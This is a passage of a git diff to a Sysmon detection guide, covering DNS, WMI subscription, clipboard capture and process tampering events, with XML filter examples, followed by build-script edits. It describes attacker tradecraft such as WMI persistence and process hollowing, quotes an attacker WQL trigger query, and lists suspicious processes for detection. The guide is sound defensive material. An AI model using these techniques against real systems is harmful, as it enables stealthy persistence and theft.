+**Discovery and Reconnaissance**: Attackers query DNS during reconnaissance: +* Internal domain enumeration +* Checking for internet connectivity +* Identifying security controls + +**MITRE ATT&CK Mapping**: +* **T1071.004 - Application Layer Protocol: DNS** - C2 over DNS +* **T1568 - Dynamic Resolution** - Domain generation algorithms +* **T1048.003 - Exfiltration Over Alternative Protocol: DNS** - DNS tunneling +* **T1590 - Gather Victim Network Information** - DNS reconnaissance + + +**Windows API Dependency**: Sysmon only logs DNS queries made through the Windows DnsQuery_* API calls in dnsapi.dll. This is supported on Windows 8.1 and above using ETW (Event Tracing for Windows) functionality. + +**What is NOT logged:** +* Programs that perform custom DNS resolution (bypassing Windows APIs) +* Direct queries to DNS servers using raw sockets +* DNS queries from some network security tools +* Queries from applications using alternative DNS libraries + +This means DNS query logging provides good coverage for most Windows applications but is not comprehensive for all DNS activity on a system. + + +DNS query volume varies significantly: +* **High-volume environments**: Web browsing, cloud applications, and SaaS usage generate thousands of queries per hour +* **Lower-volume environments**: Servers or systems with limited internet access may have manageable DNS query counts + +**Two configuration approaches:** + +**Approach 1 - Exclusion-Based (Recommended)**: Log all DNS queries but exclude high-volume, known-good domains (Microsoft, Google, CDNs). This provides good visibility while keeping volume manageable. + +**Approach 2 - Targeted Includes**: Only log queries from specific suspicious processes or to specific suspicious domains. This minimizes volume but may miss novel threats. The fields for the event are: @@ -2154,10 +5386,29 @@ The fields for the event are: * **QueryResults**: Query results * **Image**: File path of the process that made the DNS query -Exclude known destinations in order to focus on new unknown destinations. This is a high-volume event generation filter, so it is recommended to experiment and build rules with filters for your specific environment if implemented. Some examples can be found in - -Example that excludes known update and telemetry domains. +When reviewing DNS query events, prioritize: + +**1. DGA-Like Domains**: Random-looking, algorithmically generated domain names (long strings of consonants, numeric patterns) + +**2. Newly Registered Domains**: Domains registered within the last 30-90 days (cross-reference with threat intelligence) + +**3. Unusual TLDs**: Uncommon top-level domains often abused for C2 (.tk, .pw, .cc, etc.) + +**4. Long DNS Queries**: QueryName exceeding 50-100 characters may indicate DNS tunneling + +**5. High Query Volume to Single Domain**: Many queries to the same domain in short timeframe (potential tunneling or beaconing) + +**6. DNS Queries from Unusual Processes**: System utilities, Office applications, or scripts making DNS queries + +**7. Known Malicious Domains**: Match against threat intelligence feeds + + +Exclude known benign, high-volume destinations to focus on unknown or suspicious domains. This is a high-volume event type, so experimentation and environment-specific tuning is essential. + +**Community Resources**: Excellent examples can be found at https://github.com/olafhartong/sysmon-modular/tree/master/22_dns_query + +Example configuration excluding known update and telemetry domains: ```xml @@ -2278,90 +5529,161 @@ Example that excludes known update and telemetry domains. ``` - ## WMI Events -WMI events, both temporary and permanent (survive a reboot), have been used for -over a decade by vendors and enterprise users to automate actions on systems. -Attackers leverage events in the same manner for automating actions and for -persistence. Attackers will create or modify existing event components (APT 28, -29) on systems for which they gain administrator privilege. WMI events are those -events that happen when a specific Event Class instance is created or they are -modified in the WMI Model. -An attacker can monitor (and take certain actions) when these events occur by -using subscriptions that monitor for them. +Sysmon will log **EventID 19** (WmiEventFilter), **EventID 20** (WmiEventConsumer), and **EventID 21** (WmiEventConsumerToFilter) for Windows Management Instrumentation (WMI) event subscriptions. WMI event monitoring is a **low-volume, extremely high-value event type** that should almost always log all occurrences. WMI persistence is a sophisticated technique heavily used by advanced attackers and rarely by legitimate software outside of enterprise management tools. + + +WMI events have been used legitimately for over a decade by vendors and enterprise users to automate actions on systems. However, attackers leverage the same capability for persistence and automation, making this a critical detection opportunity. + +WMI persistence is attractive to attackers because: + +**Fileless Persistence**: WMI event subscriptions are stored in the WMI repository (CIM database), not as files on disk. This makes them harder to detect with traditional file-based security tools and harder to find during incident response. + +**SYSTEM-Level Execution**: Permanent WMI event subscriptions always run as SYSTEM, providing attackers with the highest privileges regardless of the account used to create the subscription. + +**Survives Reboots**: Permanent subscriptions persist across system restarts, providing reliable long-term persistence. + +**Rare in Normal Environments**: Outside of enterprise system management tools (SCCM, monitoring software), WMI event subscriptions are uncommon, making detections high-fidelity. + +**APT Tradecraft**: WMI persistence has been documented in attacks by APT28, APT29, and numerous other sophisticated threat actors. + +**MITRE ATT&CK Mapping**: +* **T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription** - Primary technique +* **T1047 - Windows Management Instrumentation** - General WMI abuse + + +WMI events occur when specific Event Class instances are created or modified in the WMI Model. An attacker can monitor for these events and trigger actions when they occur by using subscriptions. There are two types of WMI Event Subscriptions: -* **Temporary** - Subscription is active as long as the process that created the subscription is active (They run under the privilege of the process) +- **Temporary** - Subscription is active as long as the process that created + the subscription is active (They run under the privilege of the process) -* **Permanent** - Subscription is stored in the CIM Database and is active until removed from it (They always run as SYSTEM) +- **Permanent** - Subscription is stored in the CIM Database and is active + until removed from it (They always run as SYSTEM) All event subscriptions have three components: -* **Filter** - WQL Query for the events we want +- **Filter** - WQL Query for the events we want -* **Consumer** - An action to take upon triggering the filter +- **Consumer** - An action to take upon triggering the filter -* **Binding** - Registers a filter to a consumer +- **Binding** - Registers a filter to a consumer The filter and consumer are created individually and then registered together. The actions that Sysmon filters on are those for permanent events. Sysmon will only log **ActiveScript** and **CommandLine** consumers since these are the ones abused by attackers. + +WMI event subscriptions are extremely rare in typical environments: +* Most systems have zero WMI event subscriptions +* Legitimate uses are limited to enterprise management tools (SCCM, monitoring agents) +* Typical environments generate 0-5 WMI events per month, often zero +* Any activity is noteworthy and warrants review + +This extremely low volume makes WMI event monitoring ideal for a **log-all approach** with minimal or no exclusions. + + +When reviewing WMI event logs, **investigate every occurrence** unless it's from verified enterprise management software: + +**1. All Three Event IDs Together** +* WMI persistence requires all three components: Filter (ID 19), Consumer (ID 20), and Binding (ID 21) +* Look for these event IDs occurring close together in time +* A complete attack chain will have all three + +**2. Consumer Destination (Most Critical)** +* The **Destination** field in EventID 20 shows what command or script will execute +* Look for: + - PowerShell commands, especially encoded commands + - CMD.exe with suspicious arguments + - Script execution (cscript.exe, wscript.exe) + - Downloading or executing files from the internet + - Credential dumping tools or suspicious utilities + +**3. Suspicious Filter Queries** +* EventID 19 shows the WQL query that triggers the consumer +* Common attacker patterns: + - Triggers on system startup: `SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'` + - Triggers on user logon events + - Triggers on specific process starts + - Time-based triggers for periodic execution + +**4. Unusual User Context** +* WMI subscriptions require administrator privileges to create +* Investigate subscriptions created by: + - Non-administrative user accounts (shouldn't be possible) + - Service accounts not associated with management tools + - Recently compromised accounts + - Accounts with suspicious recent activity + +**5. Namespace Analysis** +* Most legitimate WMI subscriptions use `Root\Subscription` namespace +* **Important Limitation**: Sysmon only logs subscriptions in `Root\Subscription`, not `Root` namespace +* Attackers aware of this may use the `Root` namespace to evade detection +* This gap is covered by Windows native WMI-Activity/Operational logs (EventID 5861) + +**6. Correlation with Other Events** +* WMI subscription creation shortly after: + - Initial compromise indicators + - Suspicious PowerShell or CMD execution + - Lateral movement activity + - Privilege escalation + + Fields for the Filter creation, modification, or deletion are: -* **RuleName**: Rule name for filter +- **RuleName**: Rule name for filter -* **EventType**: Will always be *WmiFilterEvent* +- **EventType**: Will always be *WmiFilterEvent* -* **UtcTime**: Time event happened +- **UtcTime**: Time event happened -* **Operation**: Created, modified or deleted +- **Operation**: Created, modified or deleted -* **User**: User that performed the action +- **User**: User that performed the action -* **EventNamespace**: WMI Namespace where object was created +- **EventNamespace**: WMI Namespace where object was created -* **Name**: Name of the filter +- **Name**: Name of the filter -* **Query**: Query defined for the filter +- **Query**: Query defined for the filter The fields for Consumer creation, modification, or deletion are: -* **RuleName**: Rule name for filter +- **RuleName**: Rule name for filter -* **EventType**: Will always be *WmiConsumerEvent* +- **EventType**: Will always be *WmiConsumerEvent* -* **UtcTime**: Time event happened +- **UtcTime**: Time event happened -* **Operation**: Created, modified, or deleted +- **Operation**: Created, modified, or deleted -* **User**: User that performed the action +- **User**: User that performed the action -* **Name**: Name of the consumer +- **Name**: Name of the consumer -* **Type**: Type of consumer +- **Type**: Type of consumer -* **Destination**: Command or Script being executed +- **Destination**: Command or Script being executed The fields for filter to consumer binding are: -* **RuleName**: Rule name for filter +- **RuleName**: Rule name for filter -* **EventType**: Will always be *WmiBindingEvent* +- **EventType**: Will always be *WmiBindingEvent* -* **UtcTime**: Time event happened +- **UtcTime**: Time event happened -* **Operation**: Created, modified, or deleted +- **Operation**: Created, modified, or deleted -* **User**: User that performed the action +- **User**: User that performed the action -* **Consumer**: Consumer path in the CIM Database +- **Consumer**: Consumer path in the CIM Database -* **Filter**: Filter path in the CIM Database +- **Filter**: Filter path in the CIM Database When a Permanent Event Subscription is created, an EventID **5861** in **Microsoft-Windows-WMI-Activity/Operational** is created in **Windows 2012 R2, @@ -2370,20 +5692,502 @@ Windows 2016,** and **Windows 10 Pro/Enterprise**. The event includes the Query and Consumer object information for the subscription in its data. -![Bind Event](media/image62.png) +![Bind Event](./media/image62.png) -It is recommended to log all instances of this event type. + +Given the extremely low volume and extremely high detection value, the recommended configuration is simple - **log everything**: ```XML - * - - - - - + + + + + + + + +``` + +**Optional Exclusions**: In environments with enterprise management software (SCCM, monitoring agents), you may choose to exclude specific known-good subscriptions. However, given the low volume, it's often better to log everything and filter in your SIEM. + +If you must exclude, use the **Name** field to exclude specific subscription names after verification: + +```XML + + + Created + SCNotification + +``` + + +**Sysmon Gap**: Sysmon will not capture components of permanent events created in the **Root** namespace, only under **Root/Subscription**. Attackers aware of this limitation may use the `Root` namespace to evade detection. + +**Recommended Complementary Logging**: Enable Windows native **WMI-Activity/Operational** logs (EventID 5861) which do capture events created in the **Root** namespace. This provides: +* Coverage for Root namespace subscriptions (fills Sysmon gap) +* Temporary event subscriptions (not logged by Sysmon) +* WMI query errors (useful for detecting reconnaissance) +* Provider loading activity + +**Detection Strategy**: Use both Sysmon WMI events and native Windows WMI-Activity logs for comprehensive coverage. The combination ensures attackers cannot evade detection by using alternative namespaces or temporary subscriptions. + +## Clipboard Capture + + +Sysmon will log **EventID 24** when applications store text in the clipboard. This capability was added in Sysmon version 12.0 with schema 4.40. Clipboard monitoring is a **low-volume, high-sensitivity event type** that provides unique visibility into data theft but comes with significant privacy and security considerations that require careful deployment planning. + + +Clipboard monitoring detects data theft techniques that are difficult to observe through other telemetry: + +**Credential Theft via RDP/Remote Sessions**: Attackers and penetration testers commonly: +* Copy credentials from password managers on their local machine +* Paste credentials into RDP sessions to compromised servers +* Transfer authentication tokens or API keys via clipboard +* Move data between compromised systems using clipboard redirection + +**Data Exfiltration**: Attackers use the clipboard to stage data for exfiltration: +* Copy sensitive documents, code, or configuration data +* Transfer small amounts of data between systems via remote sessions +* Exfiltrate data from environments where file transfer is restricted + +**Lateral Movement Evidence**: Clipboard content can reveal: +* Commands being copy-pasted across multiple systems +* Credentials being reused across the environment +* PowerShell scripts or commands being staged for execution + +**MITRE ATT&CK Mapping**: +* **T1115 - Clipboard Data** - Accessing clipboard for credential or data theft +* **T1056.001 - Input Capture: Keylogging** - Related technique for capturing user input +* **T1021.001 - Remote Services: Remote Desktop Protocol** - RDP sessions where clipboard is commonly used + + +**Critical Privacy Warning**: Clipboard capture is an **extremely sensitive capability** that can expose private, confidential, and legally protected information. Clipboard data may contain: +* Passwords, API keys, and authentication tokens +* Personal identifiable information (PII) +* Protected health information (PHI) +* Financial data, credit card numbers +* Confidential business information +* Private communications + +**Data Protection Requirements:** + +Clipboard data is stored as files in the archive directory (same location as File Delete archived files), **NOT in the event log**. The archive directory is protected by SYSTEM-level ACLs: +* Only SYSTEM account can access the files +* Must use PsExec or similar tool to read: `PsExec.exe -sid cmd` +* Files are named by their hash value +* Encryption at rest is critical if storing sensitive clipboard data + +**Legal and Compliance Risks:** +* May violate privacy laws (GDPR, CCPA) if not properly disclosed +* Could capture attorney-client privileged communications +* May require consent depending on jurisdiction +* Data retention policies must be carefully considered +* Access controls and audit logging are essential + + +**Recommended Use Cases:** +* **RDP-enabled servers** exposed to untrusted networks (bastion hosts, jump servers) +* **Privileged access workstations** (PAWs) used for administrative tasks +* **High-value targets** where credential theft is a primary concern +* **Honeypot systems** where any clipboard activity is inherently suspicious +* **Incident response** during active investigations (temporary deployment) + +**NOT Recommended:** +* **General user workstations** - Privacy risks far outweigh detection value +* **Developer workstations** - Will capture code, credentials, and sensitive data constantly +* **Environments without strong data protection controls** +* **Systems where users are not informed** about clipboard monitoring + +**Critical Requirement**: Users and administrators **must be informed** that clipboard monitoring is active. Accidental capture of sensitive data in legitimate workflows is common, particularly in RDP environments. + + +Clipboard capture volume varies significantly: +* **RDP jump servers**: Moderate volume (10-50 events per day per active session) +* **Interactive user workstations**: High volume (hundreds of events per day) +* **Servers without interactive sessions**: Very low volume (near zero) + +The volume depends entirely on user behavior - how often they copy and paste text. + + +When enabled, Sysmon monitors the Windows clipboard API and logs whenever text is stored: +1. Application writes text to clipboard +2. Sysmon intercepts the clipboard write +3. Event is logged with metadata (process, session, client info) +4. Clipboard text is saved to archive directory as a file (named by hash) +5. EventID 24 references the file by hash + +**Important**: Only **text** clipboard data is captured. Images, files, and other clipboard formats are not logged. + +**Enabling Clipboard Capture:** +Add the `` element under the main `` element in your configuration: + +```xml + + + SecureClipboardArchive + + +``` + +Without ``, clipboard events are not generated even if filtering rules are present. + + +When reviewing clipboard capture events, prioritize investigation of: + +**1. RDP Session Clipboard Activity** +* Clipboard usage during remote desktop sessions (Session field != 0) +* ClientInfo shows remote hostname and IP address +* Particularly suspicious during off-hours or from unexpected IP ranges + +**2. Suspicious Processes Accessing Clipboard** +* PowerShell, CMD, scripting engines writing to clipboard +* Processes from temp directories or unusual locations +* Malware sometimes uses clipboard for C2 communication or data staging + +**3. Session Analysis** +* Session field indicates session type: + - Session 0: System/service context (very unusual for clipboard use) + - Session 1+: Interactive or RDP sessions +* Correlate clipboard activity with logon events to identify user + +**4. Patterns Indicating Credential Theft** +* Multiple clipboard writes in quick succession during RDP session +* Clipboard activity immediately after connecting to RDP session +* Review archived clipboard files for credential patterns (manually, with care) + +**5. Data Exfiltration Indicators** +* Large amounts of clipboard activity during suspected compromise +* Clipboard use correlating with network connections to external IPs +* Repeated clipboard writes of similar content + +**6. Unexpected Clipboard Sources** +* Services or system processes writing to clipboard (unusual) +* Clipboard activity on servers that should have minimal interactive use + + +The clipboard capture event fields are: + +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that stored text in clipboard +* **ProcessId**: Process ID of the process that stored text in clipboard +* **Image**: File path of the process that wrote to the clipboard +* **Session**: Session ID where the process is running (0 = system, 1+ = interactive/remote) +* **ClientInfo**: Contains session username, and for remote sessions: originating hostname and IP address +* **Hashes**: Hash of the clipboard text file (also the filename in archive directory) +* **Archived**: Status indicating whether text was successfully stored in archive directory (`true` or `false`) + + +**Example 1: Capture All Clipboard Activity (High Privacy Risk)** + +This configuration logs all clipboard events with no filtering: + +```xml + + SHA256 + + + SecureClipboardArchive + + + + + + + + +``` + +**Recommended only for**: Jump servers, PAWs, honeypots where all clipboard use is monitored by design. + +**Example 2: Monitor Only Remote RDP Sessions** + +Capture clipboard activity only during RDP sessions, not local interactive sessions: + +```xml + + SHA256 + + SecureClipboardArchive + + + + + rdpclip.exe + + + + +``` + +This focuses on RDP clipboard transfers, reducing noise from local clipboard use. + +**Example 3: Monitor Suspicious Processes Only** + +Capture clipboard use by processes commonly abused by attackers: + +```xml + + SHA256 + + SecureClipboardArchive + + + + + powershell.exe + cmd.exe + cscript.exe + wscript.exe + + + rdpclip.exe + + + \Temp\ + \AppData\Local\Temp\ + + + + +``` + +**Example 4: Exclude Known Noisy Applications** + +Start with broad coverage but exclude applications that generate excessive noise: + +```xml + + SHA256 + + SecureClipboardArchive + + + + + C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE + C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE + \Microsoft VS Code\ + + + \Google\Chrome\Application\chrome.exe + \Mozilla Firefox\firefox.exe + + + + +``` + + +**Hyper-V and RDP Console Exposure**: In Hyper-V environments where Sysmon is configured for clipboard capture, **selecting a VM console window from Hyper-V Manager** can trigger clipboard events because Hyper-V uses RDP for displaying VM UI. This can accidentally expose clipboard contents from the host system. Administrators must be aware of this behavior. + +**Example Event**: RDP clipboard capture from Hyper-V console session: + +```xml + + C:\Windows\System32\rdpclip.exe + 1 + user: acmelabs\Admin ip: FE80::013E:52B8:0C83:3DE3 hostname: DESKTOP-LH0AJLB + true + +``` + +**Clipboard Data Is Not in Event Log**: The actual clipboard text is stored in the archive directory as files, not in the event log. This means: +* SIEM ingestion captures metadata only, not clipboard content +* To review clipboard content, you must access the archive directory with SYSTEM privileges +* Clipboard files must be secured with encryption at rest and access controls +* Retention policies for clipboard files must be defined and enforced + +**No Image/File Capture**: Only text clipboard data is captured. Copy-pasting files, images, or other non-text formats does not generate EventID 24. + + +1. **Minimize Deployment Scope**: Only enable on systems where the detection value clearly outweighs privacy risks +2. **User Notification**: Inform users and administrators that clipboard monitoring is active +3. **Secure Archive Directory**: + - Use strong ACLs (SYSTEM-only by default is good) + - Encrypt at rest + - Implement retention policies + - Monitor access to clipboard archive files +4. **Legal Review**: Consult legal/compliance teams before deployment +5. **Regular Review**: Periodically verify clipboard monitoring is still necessary +6. **Incident Response**: Consider enabling temporarily during active investigations rather than continuous monitoring +7. **Data Minimization**: Use targeted filtering to capture only necessary clipboard events +8. **Audit Access**: Log and monitor any access to archived clipboard files + + +Clipboard archive files accumulate over time. Implement a retention policy: +* Define maximum retention period (e.g., 30 days, 90 days) +* Automate cleanup of old clipboard files +* Document retention policy for compliance +* Ensure cleanup process preserves files needed for active investigations + +Example PowerShell cleanup script (run as SYSTEM): +```powershell +$archivePath = "C:\SecureClipboardArchive" +$retentionDays = 30 +Get-ChildItem -Path $archivePath -File | + Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-$retentionDays) } | + Remove-Item -Force +``` + + +Clipboard capture (EventID 24) is a powerful but sensitive capability: +* **Use sparingly**: RDP jump servers, PAWs, honeypots +* **Privacy first**: Consider legal, ethical, and privacy implications +* **Inform users**: Transparency is essential +* **Secure the data**: Strong access controls and encryption +* **Define retention**: Clear policies for data lifecycle + +When deployed appropriately with proper safeguards, clipboard monitoring provides unique visibility into credential theft and data exfiltration during remote sessions. + +## Process Image Tampering + + +Sysmon will log **EventID 25** when a process's original image is replaced in memory or on disk. This is a **low-volume, high-value event type** that detects advanced process injection and evasion techniques. Process tampering events are strong indicators of malicious activity and should almost always be investigated. + + +Process tampering detects sophisticated evasion techniques where attackers modify process images to hide malicious code: + +**Process Hollowing** ([T1055.012](https://attack.mitre.org/techniques/T1055/012/)): The classic technique where an attacker: +1. Creates a legitimate process in suspended state +2. Unmaps the legitimate code from memory +3. Injects malicious code into the process +4. Resumes execution of the now-malicious process + +This makes the malicious code appear to be a legitimate process when viewed in task managers or process lists. + +**Process Herpaderping** ([detailed here](https://jxy-s.github.io/herpaderping/)): A newer technique that modifies the file on disk after Windows has mapped it into memory but before it executes. This creates a mismatch between what's on disk and what's in memory, evading many security tools. + +**Defense Evasion**: Both techniques allow malware to: +* Hide inside legitimate process names +* Bypass application whitelisting +* Evade process-based detections +* Inherit the trust and privileges of the legitimate process + +**MITRE ATT&CK Mapping**: +* **T1055.012 - Process Injection: Process Hollowing** +* **T1055 - Process Injection** (general) +* **T1027 - Obfuscated Files or Information** (image tampering as obfuscation) + +This capability was added in Sysmon version 13.0 with schema 4.50. + + +Process tampering is relatively rare: +* Very few legitimate applications modify their image after loading +* Some browsers and development tools trigger this for legitimate reasons +* Typical systems generate 10-50 events per day, mostly from known software +* Most events are from a small set of applications (browsers, IDEs, Electron apps) + + +The recommended approach: **log all process tampering events** and progressively exclude verified legitimate applications by full path. + +**Important Limitation**: Not all process hollowing techniques are detected. Some variations that use different API calls or modify smaller portions of the image may evade detection. This is why layered detection (combining multiple event types) is critical. + + +When reviewing process tampering events, prioritize investigation of: + +**1. Unknown or Unusual Processes** +* Any process you don't recognize being tampered with +* Processes running from temp directories or user folders +* Recently created processes that are immediately tampered with + +**2. Tampering of Critical System Processes** +* explorer.exe, svchost.exe, or other long-running system processes +* These are common targets because they provide persistence and trust + +**3. Type of Tampering** +* "Image is replaced" is more suspicious than "Image is locked for access" +* Replacement indicates active hollowing or herpaderping +* Locked access may be legitimate security software scanning + +**4. Non-Browser/Non-Development Tools** +* Tampering outside of known browsers, IDEs, and Electron apps +* Server systems should rarely see tampering events +* Any tampering on production servers warrants immediate investigation + +**5. Timing Correlation** +* Tampering shortly after suspicious process creation +* Multiple tampering events in sequence +* Tampering during off-hours or after compromise indicators + +**6. Processes from Suspicious Parents** +* Processes spawned by cmd.exe, powershell.exe being tampered with +* Office applications spawning processes that are tampered with +* Unusual parent-child relationships combined with tampering + +The fields for the event are: + +* **ProcessGuid** -- Unique process GUID generated by Sysmon. + +* **ProcessId** -- Process ID represented as an integer number. + +* **Image** -- Full path of the executable image that was tampered with. + +* **Type** -- Type of process tampering (Image is locked for access, Image is replaced) + + +Several programs legitimately trigger process tampering events, particularly browsers and development tools. However, since attackers can target any process for hollowing attacks, the recommended approach is to **log all tampering events initially** and build an exclusion list through baselining. + +**Risk Consideration**: There is inherent risk in excluding any process from tampering detection, as attackers may specifically target excluded processes. However, this risk is mitigated by: +* Using full path exclusions (attackers can't easily place malware in Program Files) +* Monitoring these same processes with other event types (Process Access, Network Connections) +* Layered detection approach catches attacks through multiple signals + +**Phase 1 - Initial Deployment**: Log everything with no exclusions to understand your environment's tampering baseline. + +```xml + + + + + + + + +``` + +**Phase 2 - Build Exclusion List**: After 1-2 weeks of baselining, create exclusions for verified legitimate applications using full paths: + +```xml + + + + + + C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + C:\Program Files\Google\Chrome\Application\chrome.exe + C:\Program Files\Mozilla Firefox\firefox.exe + C:\Program Files\Mozilla Firefox\updater.exe + C:\Program Files\Mozilla Firefox\default-browser-agent.exe + C:\Program Files\Mozilla Firefox\pingsender.exe + + + C:\Program Files\Microsoft VS Code\Code.exe + C:\Program Files\Git\cmd\git.exe + C:\Program Files\Git\mingw64\bin\git.exe + + + + C:\Program Files\Slack\slack.exe + C:\Users\*\AppData\Local\Microsoft\Teams\current\Teams.exe + + + \software_reporter_tool.exe + + + ``` + +**Known Legitimate Sources of Tampering Events:** +* **Browsers**: Chrome, Edge, Firefox generate tampering events during updates and certain internal operations +* **Electron Applications**: Slack, Microsoft Teams, Discord, Mattermost, and other Electron-based apps +* **Development Tools**: VS Code, Git, and integrated debuggers +* **Update Mechanisms**: Browser updaters and software reporter tools + +**Important Reminder**: This event type does not detect all process hollowing variants. Attackers using alternative techniques that modify smaller portions of the image or use different API sequences may evade detection. This underscores the importance of **layered detection** - combining Process Tampering monitoring with Process Access, Image Load, and Network Connection monitoring to catch attacks through multiple behavioral signals. + diff --git a/Build/SysmonGuide.pdf b/Build/SysmonGuide.pdf new file mode 100644 index 0000000..0914d15 Binary files /dev/null and b/Build/SysmonGuide.pdf differ diff --git a/Build/chapter_break.tex b/Build/chapter_break.tex index 5954354..c686cfb 100644 --- a/Build/chapter_break.tex +++ b/Build/chapter_break.tex @@ -1,10 +1,18 @@ -%% Adds pagebreak between chapters -% from comments of accepted answer -% https://superuser.com/questions/601469/getting-chapters-to-start-on-a-new-page-in-a-pandoc-generated-pdf +%% Chapter/Section Styling +%% Customize appearance of level 1 headings (sections in Pandoc = # in markdown) + \usepackage{sectsty} -\sectionfont{\clearpage} -% accepted answer gave error -%\usepackage{titlesec} -%\newcommand{\sectionbreak}{\clearpage} +% Level 1 headings: centered, larger, bold, with spacing but NO page break +\sectionfont{\centering\LARGE\bfseries} + +% Add some vertical space before and after level 1 headings +\usepackage{titlesec} +\titlespacing*{\section} + {0pt} % left margin + {3ex plus 1ex minus .2ex} % space before (vertical) + {2ex plus .2ex} % space after (vertical) +% Optional: Keep subsections and subsubsections left-aligned +\subsectionfont{\large\bfseries} +\subsubsectionfont{\normalsize\bfseries} diff --git a/Build/md2pdf.sh b/Build/md2pdf.sh index e551654..eb9b7ad 100755 --- a/Build/md2pdf.sh +++ b/Build/md2pdf.sh @@ -29,16 +29,20 @@ SCRIPT=$(readlink -f "$0") SCRIPTPATH=$(dirname "$SCRIPT") echo "Running Pandoc to generate the LaTeX file..." pandoc "$1" \ - -f gfm \ + -f markdown \ --toc \ + --toc-depth=3 \ --listings \ --include-in-header ${SCRIPTPATH}/chapter_break.tex \ --include-in-header ${SCRIPTPATH}/inline_code.tex \ --include-in-header ${SCRIPTPATH}/bullet_style.tex \ --include-in-header ${SCRIPTPATH}/pdf_properties.tex \ --include-in-header ${SCRIPTPATH}/listings-setup.tex \ + --include-in-header ${SCRIPTPATH}/toc-styling.tex \ + --include-in-header ${SCRIPTPATH}/title_page.tex \ + --include-in-header ${SCRIPTPATH}/toc_pagebreak.tex \ --highlight-style ${SCRIPTPATH}/pygments.theme \ - -V toc-title='Table of contents' \ + -V toc-title='Sysmon Guide Contents' \ -V linkcolor:blue \ -V geometry:a4paper \ -V geometry:margin=2cm \ @@ -59,6 +63,24 @@ xelatex -interaction=nonstopmode ${fn}.tex > pdfgen.log 2>&1 echo "Generating PDF (second pass for TOC)..." xelatex -interaction=nonstopmode ${fn}.tex >> pdfgen.log 2>&1 +# Replace first page with custom cover if cover image exists +COVER_IMAGE="${SCRIPTPATH}/../chapters/media/TS_SysmonCommunityGuide_Cover.png" +if [ -f "$COVER_IMAGE" ]; then + echo "Replacing first page with custom cover..." + TEMP_PDF="${fn}_temp.pdf" + mv "${fn}.pdf" "$TEMP_PDF" + + if python3 "${SCRIPTPATH}/replace_cover.py" "$TEMP_PDF" "$COVER_IMAGE" "${fn}.pdf"; then + echo "Cover page replaced successfully" + rm "$TEMP_PDF" + else + echo "Warning: Failed to replace cover page, using original PDF" + mv "$TEMP_PDF" "${fn}.pdf" + fi +else + echo "Warning: Cover image not found at $COVER_IMAGE, skipping cover replacement" +fi + echo "Cleaning temp files..." rm /tmp/temp.tex "$fn".{tex,toc,aux,log} diff --git a/Build/media/TS_SysmonCommunityGuide_Cover.png b/Build/media/TS_SysmonCommunityGuide_Cover.png new file mode 100644 index 0000000..b8dc736 Binary files /dev/null and b/Build/media/TS_SysmonCommunityGuide_Cover.png differ diff --git a/Build/media/image1.png b/Build/media/image1.png new file mode 100644 index 0000000..cdc916a Binary files /dev/null and b/Build/media/image1.png differ diff --git a/Build/media/image10.png b/Build/media/image10.png new file mode 100644 index 0000000..0cfafeb Binary files /dev/null and b/Build/media/image10.png differ diff --git a/Build/media/image11.png b/Build/media/image11.png new file mode 100644 index 0000000..44ce346 Binary files /dev/null and b/Build/media/image11.png differ diff --git a/Build/media/image12.png b/Build/media/image12.png new file mode 100644 index 0000000..ed8b456 Binary files /dev/null and b/Build/media/image12.png differ diff --git a/Build/media/image13.png b/Build/media/image13.png new file mode 100644 index 0000000..753f478 Binary files /dev/null and b/Build/media/image13.png differ diff --git a/Build/media/image14.png b/Build/media/image14.png new file mode 100644 index 0000000..7183ba8 Binary files /dev/null and b/Build/media/image14.png differ diff --git a/Build/media/image15.png b/Build/media/image15.png new file mode 100644 index 0000000..37a2bfa Binary files /dev/null and b/Build/media/image15.png differ diff --git a/Build/media/image16.png b/Build/media/image16.png new file mode 100644 index 0000000..a8f3751 Binary files /dev/null and b/Build/media/image16.png differ diff --git a/Build/media/image17.png b/Build/media/image17.png new file mode 100644 index 0000000..5cee7f4 Binary files /dev/null and b/Build/media/image17.png differ diff --git a/Build/media/image18.png b/Build/media/image18.png new file mode 100644 index 0000000..9159975 Binary files /dev/null and b/Build/media/image18.png differ diff --git a/Build/media/image19.png b/Build/media/image19.png new file mode 100644 index 0000000..ad475b4 Binary files /dev/null and b/Build/media/image19.png differ diff --git a/Build/media/image2.png b/Build/media/image2.png new file mode 100644 index 0000000..ad97d34 Binary files /dev/null and b/Build/media/image2.png differ diff --git a/Build/media/image20.png b/Build/media/image20.png new file mode 100644 index 0000000..e66f5ed Binary files /dev/null and b/Build/media/image20.png differ diff --git a/Build/media/image21.png b/Build/media/image21.png new file mode 100644 index 0000000..46f18f4 Binary files /dev/null and b/Build/media/image21.png differ diff --git a/Build/media/image22.png b/Build/media/image22.png new file mode 100644 index 0000000..043fa55 Binary files /dev/null and b/Build/media/image22.png differ diff --git a/Build/media/image23.png b/Build/media/image23.png new file mode 100644 index 0000000..f491150 Binary files /dev/null and b/Build/media/image23.png differ diff --git a/Build/media/image24.png b/Build/media/image24.png new file mode 100644 index 0000000..cb982be Binary files /dev/null and b/Build/media/image24.png differ diff --git a/Build/media/image25.png b/Build/media/image25.png new file mode 100644 index 0000000..b1857f5 Binary files /dev/null and b/Build/media/image25.png differ diff --git a/Build/media/image26.png b/Build/media/image26.png new file mode 100644 index 0000000..d3d02a8 Binary files /dev/null and b/Build/media/image26.png differ diff --git a/Build/media/image27.png b/Build/media/image27.png new file mode 100644 index 0000000..c9689b9 Binary files /dev/null and b/Build/media/image27.png differ diff --git a/Build/media/image28.png b/Build/media/image28.png new file mode 100644 index 0000000..32c5d29 Binary files /dev/null and b/Build/media/image28.png differ diff --git a/Build/media/image29.png b/Build/media/image29.png new file mode 100644 index 0000000..2c3bb3c Binary files /dev/null and b/Build/media/image29.png differ diff --git a/Build/media/image3.png b/Build/media/image3.png new file mode 100644 index 0000000..b9b5b30 Binary files /dev/null and b/Build/media/image3.png differ diff --git a/Build/media/image30.png b/Build/media/image30.png new file mode 100644 index 0000000..f84483e Binary files /dev/null and b/Build/media/image30.png differ diff --git a/Build/media/image31.png b/Build/media/image31.png new file mode 100644 index 0000000..dc0f50a Binary files /dev/null and 